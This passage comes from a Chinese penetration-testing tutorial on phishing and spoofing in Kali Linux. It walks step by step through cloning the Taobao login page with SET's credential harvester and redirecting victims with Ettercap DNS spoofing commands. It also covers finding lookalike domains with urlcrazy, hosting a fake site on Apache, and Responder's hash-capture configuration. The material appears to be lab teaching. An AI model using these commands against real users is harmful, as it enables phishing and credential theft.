PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well. Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application. Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should (optional) give him a hug and should (optional) buy him a beer (or bourbon - hopefully bourbon). Author has the option to refuse the hug (most likely will never happen) or the beer or bourbon (also most likely will never happen). Also by using this tool (these are all optional of course!), you should try to make this industry better, try to stay positive, try to help others, try to learn from one another, try stay out of drama, try offer free hugs when possible (and make sure recipient agrees to mutual hug), and try to do everything you can to be awesome. The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only. Do you agree to the terms of service [y/n]: y #输入“y”同意服务的条款 以上信息显示了SET工具的详细信息，不过这些信息只在第一次启动时才会出现。最后一行提示是否同意以上条款，这里输入y表示同意。输入y后，将显示如下信息： .M\"\"\"bgd `7MM\"\"\"YMM MMP\"\"MM\"\"YMM ,MI \"Y MM `7 P' MM `7 `MMb. MM d MM `YMMNq. MMmmMM MM . `MM MM Y , MM Mb dM MM ,M MM P\"Ybmmd\" .JMMmmmmMMM .JMML. [---] The Social-Engineer Toolkit (SET) [---] [---] Created by: David Kennedy (ReL1K) [---] Version: 8.0.1 Codename: 'Maverick - BETA' [---] Follow us on Twitter: @TrustedSec [---] [---] Follow me on Twitter: @HackingDave [---] [---] Homepage: https://www.trustedsec.com [---] Welcome to the Social-Engineer Toolkit (SET). The one stop shop for all of your SE needs. The Social-Engineer Toolkit is a product of TrustedSec. Visit: https://www.trustedsec.com It's easy to update using the PenTesters Framework! (PTF) Visit https://github.com/trustedsec/ptf to update all your tools! Select from the menu: 1) Social-Engineering Attacks #社会工程学攻击 2) Penetration Testing (Fast-Track) #渗透测试 3) Third Party Modules #第三方模块 4) Update the Social-Engineer Toolkit #更新Social-Engineer Toolkit 5) Update SET configuration #更新SET配置 6) Help, Credits, and About #帮助信息 99) Exit the Social-Engineer Toolkit #退出Social-Engineer Toolkit set> 出现set>提示符表示成功启动了SET。在以上输出信息中，显示了SET的创建者、版本和可利用的攻击菜单等。接下来，攻击者可选择任意一种攻击方式，对目标主机实施攻击。"},
    {"text": "未知 8.1.2 使用SET克隆网站 成功启动SET后，就可以使用该工具包中的攻击工具克隆网站了。 下面介绍使用SET克隆网站的方法。 【实例8-2】 使用SET克隆淘宝网站的登录页面。"},
    {"text": "其中，克隆网站的地址为 https://login.taobao.com/member/login.jhtml?spm=a21bo.2017.754894437.1.5af911d9qBX6EK＆f=top＆redirectURL=https%3A%2F%2Fwww.taobao.com%2F 。"},
    {"text": "具体操作步骤如下： （1）启动SET，将显示如下所示的信息： root@daxueba:~# setoolkit ...... Select from the menu: 1) Social-Engineering Attacks 2) Penetration Testing (Fast-Track) 3) Third Party Modules 4) Update the Social-Engineer Toolkit 5) Update SET configuration 6) Help, Credits, and About 99) Exit the Social-Engineer Toolkit set> 以上输出信息显示了可以利用的攻击工具菜单。"},
    {"text": "（2）输入“1”，将显示如下所示的信息： Select from the menu: 1) Spear-Phishing Attack Vectors #钓鱼攻击向量 2) Website Attack Vectors #Web攻击向量 3) Infectious Media Generator #介质感染攻击发生器 4) Create a Payload and Listener #创建攻击载荷和监听器 5) Mass Mailer Attack #群发邮件攻击 6) Arduino-Based Attack Vector #基于Arduino攻击向量 7) Wireless Access Point Attack Vector #无线AP攻击向量 8) QRCode Generator Attack Vector #二维码生成攻击向量 9) Powershell Attack Vectors #Powershell攻击向量 10) Third Party Modules #第三方模块 99) Return back to the main menu. #返回主菜单 set> 以上输出信息显示了社会工程学攻击的所有攻击方式。"},
    {"text": "（3）输入“2”，将显示如下所示的信息： set> 2 The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful. The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser. 1) Java Applet Attack Method #Java Applet攻击方法 2) Metasploit Browser Exploit Method #Metasploit浏览器利用方法 3) Credential Harvester Attack Method #认证信息获取攻击方法 4) Tabnabbing Attack Method #标签钓鱼攻击方法 5) Web Jacking Attack Method #Web劫持攻击方法 6) Multi-Attack Web Method #多重Web攻击方法 7) HTA Attack Method #HTA攻击方法 99) Return to Main Menu #返回主菜单 以上输出信息显示了所有的Web攻击向量的方法。"},
    {"text": "（4）输入“3”，将显示如下所示的信息： set:webattack>3 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. 1) Web Templates #Web模板 2) Site Cloner #网站克隆 3) Custom Import #自定义导入 99) Return to Webattack Menu #返回网站攻击向量菜单 从输出的信息中可以看到攻击者可以使用的认证信息获取攻击方法。"},
    {"text": "（5）输入“2”，将显示如下所示的信息： set:webattack>2 [-] Credential harvester will allow you to utilize the clone capabilities within SET [-] to harvest credentials or parameters from a website as well as place them into a report ----------------------------------------------------------------------- --- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * --- The way that this works is by cloning a site and looking for form fields to rewrite. If the POST fields are not usual methods for posting forms this could fail. If it does, you can always save the HTML, rewrite the forms to be standard forms and use the \"IMPORT\" feature. Additionally, really important: If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL IP address below, not your NAT address. Additionally, if you don't know basic networking concepts, and you have a private IP address, you will need to do port forwarding to your NAT IP address from your external IP address. A browser doesns't know how to communicate with a private IP address, so if you don't specify an external IP address if you are using this from an external perpective, it will not work. This isn't a SET issue this is how networking works. set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.198.141]: #指定攻击主机的IP地址 此时，要求指定获取的数据发送到的主机IP地址，即攻击主机的IP地址。 本例中攻击主机的IP地址为192.168.198.141，所以直接按Enter键即可。 输出的信息如下： set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.198.141]: [-] SET supports both HTTP and HTTPS [-] Example: http://www.thisisafakesite.com set:webattack> Enter the url to clone: 此时，要求输入将要克隆网站的URL地址。 （6）输入淘宝网站的地址，执行命令： set:webattack> Enter the url to clone:https://login.taobao.com/member/ login.jhtml?spm=a21bo.2017.754894437.1.5af911d9qBX6EK&f=top&redirectURL =https%3A%2F%2Fwww.taobao.com%2F [*] Cloning the website: https://login.taobao.com/member/login.jhtml?spm= a21bo.2017.754894437.1.5af911d9qBX6EK&f=top&redirecthttps%3A%2F%2Fwww. taobao.com%2F [*] This could take a little bit... The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] You may need to copy /var/www/* into /var/www/html depending on where your directory structure is. Press {return} if you understand what we're saying here. 从输出的信息中可以看到，已成功克隆了站点，而且使用该方法将获取网站的username和password表单字段。"},
    {"text": "（7）按Enter键，将监听目标主机的身份认证信息，输出信息如下： [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: 以上信息显示已成功发起了社会工程学攻击。"},
    {"text": "（8）使用Ettercap工具实施DNS欺骗。 首先，编辑etter.dns文件，指定欺骗的域名。 执行命令： root@daxueba:~# vi /etc/ettercap/etter.dns www.taobao.com A 192.168.198.141 在该文件中，指定欺骗的域名，然后保存并退出。 接着启动Ettercap工具实施DNS欺骗。 执行命令： root@daxueba:~# ettercap -Tq -P dns_spoof -M arp:remote /192.168.198.136// //192.168.198.2/ （9）当目标主机访问淘宝网站（www.taobao.com）时，将被欺骗到攻击主机克隆的网站，如图8.1所示。"},
    {"text": "捕获的信息如下： 192.168.198.136 - - [09/Nov/2019 20:42:29] \"GET / HTTP/1.1\" 200 - [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: username=testuser PARAM: ua=121#FFqlk+CcZsQlVl1RxFRNlLxYG71fKrMV9l0SxYvIoFZUO31JOCx5lwLYAc FfKujVllgYxaPIV6GVA3WrEli97QlY4z8fxujVlGum+zPIKQlVO3rrE0DIll9YOc8fDujll wgYxaPIKM9lOQrJEmD5lwLYO78fK5i5thCBXwQVwkbvsb5SMtFPD0rWXnVbbZ3glWfopCib CP7T83Smbgi0CeIaQtK0qQd1njDlpCsqi5k44G/mlCi0CNHLF9K0MZsbnnxlpZb0C6048u/ mCbibCeIaQtK0bZibnnC9pCibCZ0TkG/DbuWWU+YzFSoX365dnNDGdbi5CrY483ShbZs06w yVU8qlt5c73vb5VLd8AUsNihYVJ9Kdl7vsyA2tgWYBvYNwo9yfX5Xwaru8vmixEPXcS+x2v P5pr8WrvJS2Ts2RfZrfgyNrcNntO5WjD6Wzw81OLLv4Xv2rSOmaIpWqa2XTTtk3TvHe/Mvr MQZKUIlpFy/HNz3pJ9XWBKhS6H0ZpQh1KlIci5UTgJiV55txIaGnvV4b+UZVfglKRaPzH2c 6QniNf3j1WO68eK6NRAYL74oPlheGvU4zejAgBjj79ddZb7v6v2InQcHHxyhZ8aSKEq2kDv KGIimffg02UiNnhSJekGW8JZqkCtdvQCzm4uE1jQqwTX2gs024A9TT1pOz+jLo4Q88knmct EOiVzeior4BVrk6huEtaEp+uhvqMF8qGybs5lF+z+4BCCld1AUyF2uWorncd15MzIQRAIMb bkIEvDp+bv5YsiDhuD9eStv0oi2sUbkgvTPLAXw4 [*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT. [*] WE GOT A HIT! Printing the output: POSSIBLE USERNAME FIELD FOUND: TPL_username=testuser POSSIBLE PASSWORD FIELD FOUND: TPL_password= PARAM: ncoSig= PARAM: ncoSessionid= PARAM: ncoToken=3c9a243c45f29786f575a52a0359eeb7850c227c PARAM: slideCodeShow=false PARAM: useMobile=false PARAM: lang=zh_CN POSSIBLE USERNAME FIELD FOUND: loginsite=0 POSSIBLE USERNAME FIELD FOUND: newlogin=0 ...//省略部分内容//... PARAM: gvfdcre= PARAM: from_encoding= PARAM: sub= POSSIBLE PASSWORD FIELD FOUND: TPL_password_2=7492f99c8a282ad2fe2916d104a c67d7faa6b68eaaef403d01e71a16e3d3164f9304d5db9c098bb9c0e29252007a603bed 027792591fdf48e9a4afe27d0e3ae0e3e9909e31379c33aad7453ac8b7fcf9d8ee61ef3 ce75fa4802d97ed97cf3c2250251a00bafbaa203af96bd0813bb64eabf414931bd4282f 6c68227146be22b3 从输出的信息中可以看到，已成功获取目标主机的登录认证信息。"},
    {"text": "输出信息如下： ^C[*] File in XML format exported to /root/.set/reports/2019-11-09 20:50: 38.310692.xml for your reading pleasure... Press <return> to continue 从输出的信息中可以看到，默认将捕获的信息保存到/root/.set/reports/2019-11-09 20:50:38.310692.xml文件中。"},
    {"text": "未知 8.2 伪造域名 域名（Domain Name）是一种Internet上的计算机命名方式。采用域名后，用户就不用记忆没有规律的IP地址了。用户使用域名访问网站时，DNS将域名和IP地址进行相互映射。例如，用户要访问百度网站，在浏览器中输入域名www.baidu.com，即可通过DNS解析到对应的IP地址，进而访问到百度服务器。因此，攻击者可以通过伪造域名，来诱骗用户访问克隆好的网站，进而获取用户的敏感信息。本节将介绍伪造域名的方法。 未知 8.2.1 利用Typo域名 Typo域名是一类特殊的域名。用户输入的存在拼写错误的域名称为Typo域名。例如，www.baidu.com错误拼写为www.bidu.com，后者就形成了一个Typo域名。热门网站的Typo域名会产生大量的访问量。因此，这类域名都会被人抢注，以获取流量。而攻击者也会利用Typo域名构建钓鱼网站。一旦用户错误输入了对应的Typo域名，就会访问钓鱼网站。由于域名输入是由用户自己操作的，这类域名有极强的隐蔽性。 Kali Linux提供了一款名为urlcrazy的工具，包含常见的几百种域名拼写错误。它可以根据用户输入的域名自动生成Typo域名，并且会检验这些域名是否被使用，从而发现潜在的风险。同时，它还会统计这些域名的热度，从而分析危害程度。下面将介绍如何使用urlcrazy工具对Typo域名进行检测。 urlcrazy工具的语法格式如下： urlcrazy [options] domain 该工具支持的选项及含义如下： ·-k LAYOUT：指定键盘的类型布局，默认为qwerty（计算机标准键盘）。其中，可以指定的值有qwerty、azerty、qwertz、dvorak。键盘布局不同，产生的输入错误也不同。 ·-p：使用Google检测域名的热度。 ·-r：不进行DNS解析。 ·-i：显示所有的Typo域名，包括正在使用的和没有被使用的。默认只显示正在使用的域名。 ·-f type：指定输出信息的显示格式，包括标准的可读格式（human readable）和CSV格式。默认的是标准的可读格式。 ·-o file：指定信息输出文件。 【实例8-3】 探测www.baidu.com相关的Typo域名。执行命令： root@daxueba:~# urlcrazy -p -i www.baidu.com /usr/share/urlcrazy/tld.rb:81: warning: key \"2nd_level_registration\" is duplicated and overwritten on line 81 /usr/share/urlcrazy/tld.rb:89: warning: key \"2nd_level_registration\" is duplicated and overwritten on line 89 /usr/share/urlcrazy/tld.rb:91: warning: key \"2nd_level_registration\" is duplicated and overwritten on line 91 URLCrazy Domain Report Domain : www.baidu.com Keyboard : qwerty At : 2019-11-09 21:09:13 +0800 # Please wait. 170 hostnames to process Typo Type Typo Valid Pop DNS-A CC-A DNS-MX Extn ----------------------------------------------------------------------- Character ww.baidu. true 123.125. CN, com Omission com 114.144 CHINA Character www.aidu. true 62.116. DE, com Omission com 130.8 GERMANY Character www.badu. true 47.254. CA, com Omission com 33.193 CANADA Character www.baid. true 47.254. CA, com Omission com 33.193 CANADA Character www.baidu. true 58.82. CN, cm Omission cm 229.69 CHINA Character www.baidu. false ? Omission co Character www.baidu. false ? Omission om Character www.baidu false ? Omission com Character www.baiu. true 23.225. com Omission com 212.221 Character www.bidu. true ? com Omission com Character wwwbaidu. true 47.88. AT, com Omission com 46.29 AUSTRIA Character www..baidu. false ? com Repeat com Character www.baaidu. true 124.16. CN, com Repeat com 31.69 CHINA Character www.baiddu. true 64.31. US, baiddu. com Repeat com 6.54 UNITEDSTATES com Character www.baidu.. false ? com Repeat com ...//省略部分内容//... Wrong TLD baidu.fr true 91.195. CA, localhost fr 240.126 CANADA Wrong TLD baidu.it true 69.172. US, mx247.in- it 201.153 UNITEDSTATES mx.com Wrong TLD baidu.jp true 119.63. JP, mx1.baidu. jp 198.132 JAPAN com Wrong TLD baidu.net true 118.244. CN, mxw. net 196.96 CHINA mxhichina. com Wrong TLD baidu.nl true 107.6. US, aspmx2. nl 169.42 UNITED googlemail. STATES com Wrong TLD baidu.no true 185.134. mx. no 245.113 domeneshop.no Wrong TLD baidu.org true 60.205. CN, org 208.50 CHINA Wrong TLD baidu.ru true 137.74. CA, ru 151.144 CANADA Wrong TLD baidu.se true 91.237. SE, se 66.110 SWEDEN Wrong TLD baidu.uk false ? Wrong TLD baidu.us true 192.186. mail. us 251.164 baidu.us 输出的信息供包括七列，分别是Typo Type、Typo、Valid Pop、DNS-A、CC-A、DNS-MX和Extn列。其中，每列的含义如下： ·Typo Type：表示错误的域名类型。 ·Typo：表示错误的域名。 ·Valid Pop：表示域名是否有效。 ·DNS-A：表示DNS的A记录，用来指定域名对应的IP地址记录。 ·CC-A：表示域名所使用的国家。 ·DNS-MX：表示DNS邮件交换记录。 ·Extn：表示根域名。 通过对以上输出的每列信息进行分析，可以看到域名www.baidu.com可利用的Typo域名有www.aidu.com、www.badu.com等。此时，攻击者可以伪造这些域名来欺骗用户。"},
    {"text": "未知 8.2.2 利用多级域名 一个完整的域名由两个或两个以上部分组成，各部分之间用英文的句号“.”分隔。其中，最后一个“.”右边的部分称为顶级域名；最后一个“.”左边的部分称为二级域名；二级域名的左边部分称为三级域名。以此类推，可以有四级域名、五级域名等，统称为多级域名。一些网站的域名很短，一般都是三级域名。但是，有的域名很长，而且很多浏览器的地址栏很短，只显示前面的部分。 例如，www.baidu.com.cn.ss.com.cn是一个多级域名。用户第一眼看到这样的域名，都会误以为是百度网站的域名，从而访问到假的百度网站。因此，攻击者可以利用多级域名的方式来伪造域名，以实现对用户的欺骗。这类域名被使用在链接跳转场景中。由于用户粗心或者受地址栏长度限制未显示完整，用户误以为在访问正确的网站。 如果攻击者想要伪造某个网站的域名，只需要在DNS服务器中做对应的DNS解析就可以了。例如，攻击者可以使用Ettercap工具实施DNS欺骗，然后在etter.dns文件中添加对应的DNS解析记录即可。 未知 8.2.3 其他域名 攻击者还可以伪造一些其他域名，如抢注其他顶级域的域名、同音域名、组合域名等，来对用户进行欺骗。下面介绍一些其他恶意域名类型。 1.抢注域名 通常情况下，抢注域名可以分为以下两种意义上的抢注： （1）抢注一个从未被注册过的域名。这种情况一般是域名的注册者预见了该域名潜在的价值，而且其他人之前也想注册该域名。 （2）抢注一个曾经被注册过的域名。如果一个被注册过的域名在有效期结束前没有及时续费，就会在一段时间后被删除。此时，其他人可以在该域名被删除后的第一时间内抢先注册该域名。 如果要实现网络欺骗，则可以针对已有公司名、人名，抢先注册不同后缀的域名。例如，针对百度，抢注baidu.tv。当用户访问到该网站时，可能会误以为是百度的一个网站，从而将用户欺骗到一个假网站。 2.比特翻转域名 比特翻转域名是软、硬件的Bug导致内存比特位翻转，而形成的错误的域名。攻击者可以利用该Bug伪造一个假的域名，进而将用户欺骗到一个假网站。 3.同音域名 同音域名就是因发音形式相似，用户输入错误而形成的错误域名，如baike.baidu写成beike.baidu。如果攻击者伪造一个同音域名，当用户输入错误后，将访问一个虚假网站。 4.组合域名 组合域名就是在域名中添加关键词，形成虚拟域名，如taobao-login.com。当用户第一眼看到该域名时，会误以为是淘宝的登录网站，从而欺骗用户访问到假的网站。 未知 8.3 搭建Web服务器 Web服务器就是指网站服务器。如果攻击者希望自己创建一个伪站点，则可以搭建自己的网站服务。然后，通过实施DNS欺骗，将目标主机诱骗到其搭建的Web服务器，进而嗅探目标用户的数据。本章将介绍搭建Web服务器的方法。 未知 8.3.1 安装Apache服务器 Kali Linux默认已经安装了Apache服务器。如果系统没有安装或者意外删除的话，可以使用如下命令安装： root@daxueba:~# apt-get install apache2* -y 执行以上命令后，如果没有报错，则Apache服务器安装成功。此时，无须进行任何配置，即可启动该服务器。 未知 8.3.2 启动Apache服务器 当安装完Apache服务器后，只有启动该服务器才可以供其他用户访问其网站。启动Apache服务器，执行命令： root@daxueba:~# service apache2 start 执行以上命令后，将不会有任何信息输出。如果想要确定该服务器是否成功启动，可以查看其状态。执行命令： root@daxueba:~# service apache2 status #查看服务器状态 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Active: active (running) since Sun 2019-11-09 22:57:27 CST; 2s ago Process: 2268 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2279 (apache2) Tasks: 7 (limit: 2326) Memory: 22.8M CGroup: /system.slice/apache2.service ├─2279 /usr/sbin/apache2 -k start ├─2280 /usr/sbin/apache2 -k start ├─2281 /usr/sbin/apache2 -k start ├─2282 /usr/sbin/apache2 -k start ├─2283 /usr/sbin/apache2 -k start ├─2284 /usr/sbin/apache2 -k start └─2285 /usr/sbin/apache2 -k start 从输出的信息中可以看到，已成功启动Apache服务。此时，攻击者还可以通过查看该端口是否被监听，来确定Apache服务器是否启动成功。Apache服务默认监听的端口为80。执行命令： root@daxueba:~# netstat -anptul | grep 80 #查看监听的端口 tcp 0 0 192.168.195.245:80 0.0.0.0:* LISTEN 5616/apache2 看到以上输出信息，就表明该服务器已成功启动。如果攻击者修改了该服务器的配置文件，则需要重新启动服务器。执行命令： root@daxueba:~# service apache2 restart"},
    {"text": "未知 8.3.3 配置Apache服务器 Apache服务器安装后，默认存在一个名为default的虚拟主机。此时，攻击者无须对其进行任何配置，只需要启动该服务器，就可以访问了。如果想要修改默认配置，则可以通过修改配置文件中的内容来实现。该虚拟主机对应的配置文件为/etc/apache2/sites-enabled/000-default.conf。该文件的默认配置内容如下： root@daxueba:~# vi /etc/apache2/sites-enabled/000-default.conf <VirtualHost *:80> # The ServerName directive sets the request scheme, hostname and port that # the server uses to identify itself. This is used when creating # redirection URLs. In the context of virtual hosts, the ServerName # specifies what hostname must appear in the request's Host: header to # match this virtual host. For the default virtual host (this file) this # value is not decisive as it is used as a last resort host regardless. # However, you must set it for any further virtual host explicitly. # ServerName www.example.com #站点绑定的域名 ServerAdmin webmaster@localhost #站点管理员信息 DocumentRoot /var/www/html #站点根目录 # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, # error, crit, alert, emerg. # It is also possible to configure the loglevel for particular # modules, e.g. #LogLevel info ssl:warn ErrorLog ${APACHE_LOG_DIR}/error.log #错误日志文件 CustomLog ${APACHE_LOG_DIR}/access.log combined #访问日志文件 # For most configuration files from conf-available/, which are # enabled or disabled at a global level, it is possible to # include a line for only one particular virtual host. For example the # following line enables the CGI configuration for this host only # after it has been globally disabled with \"a2disconf\". #Include conf-available/serve-cgi-bin.conf </VirtualHost> 在以上内容中，定义相关配置信息的配置项都已添加了注释。从以上内容中可以看到，这里指定的虚拟主机为“*”，即允许任意主机访问。此时，用户在客户端输入Apache服务器的IP地址即可访问该服务器。访问成功后，将显示如图8.2所示的页面。 图8.2 Apache服务器的默认页面 看到该页面显示的内容，就说明已成功访问Apache服务器。为了使该Web服务器更真实，这里定义一个具体域名，如www.test.com。执行命令： root@daxueba:~# vi /etc/apache2/sites-enabled/000-default.conf …… ServerName www.test.com 在该配置文件中指定其域名后，还需要设置域名www.test.com解析到攻击主机的IP地址。用户可以使用第7章搭建的DNS服务器，来解析该域名。此时，用户可以使用域名www.test.com来访问Apache服务器，如图8.3所示。 图8.3 访问成功 从该页面的地址栏中可以看到，用户通过域名www.test.com访问到了Apache服务器。 为了使用户访问到的主页更逼真，攻击者可以创建自己的网页内容。其中，Apache服务器的根目录为/var/www/html。此时，攻击者将自己的网页文件放置到该位置即可。例如，攻击者可以创建一个伪网银登录界面，并通过中间人攻击来嗅探用户的登录信息。这里举一个简单的例子，证明用户可以成功访问到虚假的网页。这里先将默认的网页index.html备份，然后编辑自己的网页内容。具体操作步骤如下： （1）切换到Apache服务器的网页根目录。执行命令： root@daxueba:~# cd /var/www/html/ （2）备份默认的网页。执行命令： root@daxueba:/var/www/html# mv index.html index.html.bak （3）重新编辑网页内容。这里仅演示其操作，所以简单输入一行内容，如下： root@daxueba:/var/www/html# vi index.html www.test.com 输入以上内容后，保存并退出。 （4）重新启动Apache服务器。执行命令： root@daxueba:~# service apache2 restart （5）此时，用户再次访问Apache服务器，将显示攻击者定义的页面内容，如图8.4所示。 图8.4 访问成功 （6）从该页面可以看到，已成功访问到攻击者定义的网页内容。 未知 第9章 伪造服务认证 大部分服务都采用身份认证的方式，限制用户对特定资源的访问和使用。实施网络欺骗后，安全人员可以通过伪造服务认证的方式，诱骗用户输入合法的身份信息，如用户名和密码。Kali Linux提供了一款伪造服务工具Responder，可以用来伪造HTTP/HTTPS、SMB、SQL Server、RDP和FTP等多项服务。本章将介绍如何使用Responder工具伪造各种服务，以获取目标用户的身份认证信息。"},
    {"text": "未知 9.1 配置环境 Kali Linux默认安装了Responder工具。在使用之前，需要修改该工具的配置文件。Responder工具的配置文件为/usr/share/responder/Responder.conf。在该配置文件中，可以设置默认开启的服务、默认的日志文件和欺骗的主机IP地址等。如果要使用该工具伪造服务认证，则需要了解/usr/share/responder/Responder.conf配置文件的结构。下面将简单介绍/usr/share/responder/Responder.conf文件的相关设置。 /usr/share/responder/Responder.conf文件包括三部分配置选项，分别为Responder Core、HTTP Server和HTTPS Server。下面分别介绍每部分的配置选项。 1.Responder Core Responder Core部分定义了Responder工具的基本配置，如启动的服务、挑战码和日志文件等。该部分的默认配置信息如下： [Responder Core] ; Servers to start #启动服务 SQL = On #SQL Server服务 SMB = On #SMB服务 RDP = On #RDP服务 Kerberos = On #Kerberos服务 FTP = On #FTP服务 POP = On #POP服务 SMTP = On #SMTP服务 IMAP = On #IMAP服务 HTTP = On #HTTP服务 HTTPS = On #HTTPS服务 DNS = On #DNS服务 LDAP = On #LDAP服务 ; Custom challenge. ; Use \"Random\" for generating a random challenge for each requests (Default) Challenge = Random #挑战码 ; SQLite Database file ; Delete this file to re-capture previously captured hashes Database = Responder.db #数据库文件 ; Default log file SessionLog = Responder-Session.log #日志文件 ; Poisoners log PoisonersLog = Poisoners-Session.log #欺骗会话日志文件 ; Analyze mode log AnalyzeLog = Analyzer-Session.log #分析模式日志文件 ; Dump Responder Config log: ResponderConfigDump = Config-Responder.log #捕获响应配置日志文件 ; Specific IP Addresses to respond to (default = All) ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10 RespondTo = #欺骗的主机IP地址 ; Specific NBT-NS/LLMNR names to respond to (default = All) ; Example: RespondTo = WPAD, DEV, PROD, SQLINT RespondToName = #欺骗的主机名 ; Specific IP Addresses not to respond to (default = None) ; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10 DontRespondTo = #不欺骗的主机IP地址 ; Specific NBT-NS/LLMNR names not to respond to (default = None) ; Example: DontRespondTo = NAC, IPS, IDS DontRespondToName = ISATAP #不欺骗的主机名 ; If set to On, we will stop answering further requests from a host ; if a hash has been previously captured for this host. AutoIgnoreAfterSuccess = Off #捕获所有的响应信息 ; If set to On, we will send ACCOUNT_DISABLED when the client tries ; to authenticate for the first time to try to get different credentials. ; This may break file serving and is useful only for hash capture CaptureMultipleCredentials = On #捕获多个认证 ; If set to On, we will write to file all hashes captured from the same host. ; In this case, Responder will log from 172.16.0.12 all user hashes: domain\\toto, ; domain\\popo, domain\\zozo. Recommended value: On, capture everything. CaptureMultipleHashFromSameHost = On #同一个主机的所有认证信息写入到相同文件中 从该部分的配置信息中可以看到，Responder默认将开启所有支持的服务。如果用户不希望启动某服务的话，将其对应的值修改为Off即可。例如，关闭SMB服务，则配置信息修改如下： SMB = Off 为了能够伪造所有的服务认证，这里使用默认设置，即开启所有的服务。 2.HTTP Server HTTP Server部分是伪造的HTTP服务认证的基本配置信息。默认的配置信息如下： [HTTP Server] ; Set to On to always serve the custom EXE Serve-Always = Off #是否启用服务自定义EXE ; Set to On to replace any requested .exe with the custom EXE Serve-Exe = Off #是否启动自定义EXE ; Set to On to serve the custom HTML if the URL does not contain .exe ; Set to Off to inject the 'HTMLToInject' in web pages instead Serve-Html = Off #是否启动自定义HTML ; Custom HTML to serve HtmlFilename = files/AccessDenied.html #自定义HTML文件 ; Custom EXE File to serve ExeFilename = files/BindShell.exe #指定自定义EXE文件 ; Name of the downloaded .exe that the client will see ExeDownloadName = ProxyClient.exe #指定下载的文件 ; Custom WPAD Script WPADScript = function FindProxyForURL(url, host){if ((host == \"localhost\") || shExpMatch(host, \"localhost.*\") ||(host == \"127.0.0.1\") || isPlainHost Name(host)) return \"DIRECT\"; if (dnsDomainIs(host, \"ProxySrv\")||shExpMatch (host, \"(*.ProxySrv|ProxySrv)\")) return \"DIRECT\"; return 'PROXY ProxySrv: 3128; PROXY ProxySrv:3141; DIRECT';} ; HTML answer to inject in HTTP responses (before </body> tag). ; Set to an empty string to disable. ; In this example, we redirect make users' browsers issue a request to our rogue SMB server. HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt= 'Loading' height='1' width='1'> 从配置信息中可以看到HTTP伪认证服务默认定义的HTML文件、EXE文件、下载的载荷文件及自定义的WPAD脚本等。 3.HTTPS Server HTTPS Server部分是对HTTPS服务的配置。默认的配置信息如下： [HTTPS Server] ; Configure SSL Certificates to use SSLCert = certs/responder.crt #SSL证书 SSLKey = certs/responder.key #SSL私钥 从配置信息中可以看到默认使用的SSL证书和私钥。接下来，就可以使用Responder工具来伪造支持的所有服务认证。其中，Responder工具的语法格式及支持的选项在5.2节中已经有详细介绍，这里不再赘述。"},
